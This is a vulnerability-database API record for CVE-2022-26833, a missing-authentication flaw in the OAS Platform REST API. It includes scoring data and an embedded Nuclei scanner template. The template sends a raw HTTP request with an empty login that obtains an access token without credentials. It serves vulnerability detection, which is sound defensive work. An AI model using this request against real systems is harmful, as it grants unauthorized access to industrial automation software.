{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-26833/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-26833/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-26833/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-26833/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-26833/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-26833"},"sightings":{"href":"/api/v1/sightings/cve-2022-26833"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.37639,"kev":false,"percentile":0.98473},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-26833.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-26833\n\ninfo:\n  name: Open Automation Software OAS Platform V16.00.0121 - Missing Authentication\n  author: true13\n  severity: critical\n  description: |\n    An improper authentication vulnerability exists in the REST API functionality of Open Automation Software OAS Platform V16.00.0121. A specially-crafted series of HTTP requests can lead to unauthenticated use of the REST API. An attacker can send a series of HTTP requests to trigger this vulnerability.\n  impact: |\n    An attacker can exploit this vulnerability to gain unauthorized access to the affected system.\n  remediation: |\n    Apply the latest security patch or update to the Open Automation Software OAS Platform V16.00.0121 to fix the missing authentication issue.\n  reference:\n    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1513\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-26833\n    - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1513\n    - https://github.com/ARPSyndicate/cvemon\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H\n    cvss-score: 9.4\n    cve-id: CVE-2022-26833\n    cwe-id: CWE-306\n    epss-score: 0.37639\n    epss-percentile: 0.98473\n    cpe: cpe:2.3:a:openautomationsoftware:oas_platform:16.00.0112:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: openautomationsoftware\n    product: oas_platform\n  tags: cve2022,cve,oas,oss,unauth,openautomationsoftware,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /OASREST/v2/authenticate HTTP/1.1\n        Host: {{Hostname}}\n        Accept-Encoding: gzip, deflate\n        Accept: */*\n        Connection: keep-alive\n        Content-Type: application/json\n\n        {\"username\": \"\", \"password\": \"\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"status\":'\n          - '\"data\":'\n          - '\"token\":'\n          - '\"clientid\":'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502205709c39333e21c2052ed64fb7593af174083cafa6b8ed276827c1d2920a20b40022100c0f43d10a21b149cdc67292b10a8c1e091f0f6db0958b195f96727da87301704:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-26833"}